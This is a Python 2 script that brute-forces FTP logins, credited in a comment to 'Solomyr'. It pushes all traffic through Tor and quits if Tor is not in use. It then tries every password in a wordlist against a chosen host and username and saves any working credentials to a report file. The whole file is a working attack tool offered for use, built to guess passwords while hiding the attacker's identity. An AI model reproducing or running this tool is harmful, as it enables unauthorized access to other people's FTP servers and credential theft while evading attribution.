#!/usr/bin/python
from __future__ import division
import ftplib
import optparse
import sys
import urllib2
import BeautifulSoup
import re
import time
import socks
import socket

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050, True)
socket.socket = socks.socksocket
#This is writen by Solomyr
#simple ftp brute forcer using tor thru privoxy
#Develope your imagination.

repf = 'ftp_rep.txt'

def checktor():
    url= 'http://check.torproject.org'
    try:
        response = urllib2.urlopen(url)
        soup = BeautifulSoup.BeautifulSoup(response.read())
        imags = soup.find('img')
        for l in imags.attrs:
            sorry = re.findall('Sorry',str(l))
            cong = re.findall('Congratulations',str(l))
            if sorry:
                print "Tor is not being used...quitting..."
                exit(0)
            elif cong:
                print "You are using Tor"
                pass
    except SystemExit:
        exit(0)
    except:
        print "Connection failed"
        exit(0)

class report:
    def __init__(self, name, data):
        self.value1 = name
        self.value2 = data
    def new(self):
        nf = open(self.value1,"w")
        nf.write(self.value2)
        nf.close()
    def add(self):
        of = open(self.value1, "a")
        of.write(self.value2)
        of.close()
    def pt(self):
        print self.value1
        print self.value2

def ftplogin(host,user,password,port,reportfile,cur,allt):
    try:
        perc = round(int(cur)/int(allt)*100,1)
        ftp = ftplib.FTP(host)
        ftp.connect(host,port)
        ftp.login(user,password)
        curdir = ftp.sendcmd('pwd')
        win = report(reportfile,"[*] "+host+" <%s:%s> [*]\n[+]%s[+]\n---------------------------------------------------------------\n\n" %(user,password,curdir))
        if ftp:
            win.add()
            print "\n[*]"+host+"[*]\n[*]"+user+":"+password+"[*]"
            exit(0)
    except Exception, e:
        sys.stdout.write(" <*>Tested: "+str(cur)+"/"+str(allt)+" ["+str(perc)+"%] <*> [-] "+host+" [-] "+user+":"+password+" [-] "+str(e)+" [-]                        \r")
        sys.stdout.flush()
    except SystemExit:
	exit(0)
    except KeyboardInterrupt:
	exit(0)
end = 0
def main():
    parser = optparse.OptionParser(usage='%prog '+"-H <targeted host> -P <port> -U <targeted username> -F <passwords file>\nExample: %prog -H example.com -P 21 -U admin -F ./passwords.txt\nIf port is not specified using 21")
    parser.add_option('-H','--host',dest='host',type='string',\
                      help='Specify targeted host')
    parser.add_option('-P','--port',dest='port',type='int',\
                      help="Specify targeted port")
    parser.add_option('-U','--user',dest='user',type='string',\
                      help="Specify targeted username")
    parser.add_option('-F','--file',dest='passwords',type='string',\
                      help='Specify a passwords file')
    (options,args) = parser.parse_args()
    if not options.host:
        parser.error("No host defined")
    if not options.user:
        parser.error("No user defined")
    if not options.passwords:
        parser.error("No passwords file defined")
    if options.port:
        port=options.port
    if not options.port:
        port = 21
    checktor()
    try:
        host = options.host
        user = options.user
        pfile = open(str(options.passwords),'r')
        while end == 0:
	    if end == 1:
	        break
            lines = pfile.readlines()
            allnum = len(lines)
            for line in lines:
                password = line.strip('\n')
                number = lines.index(line) + 1
                ftplogin(host,user,password,port,repf,number,allnum)
	    if number == allnum:
		print "\nEnd of %s file reached. No pass found" %options.passwords
		break
		exit(0)
    except KeyboardInterrupt:
        exit(0)

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        exit(0)
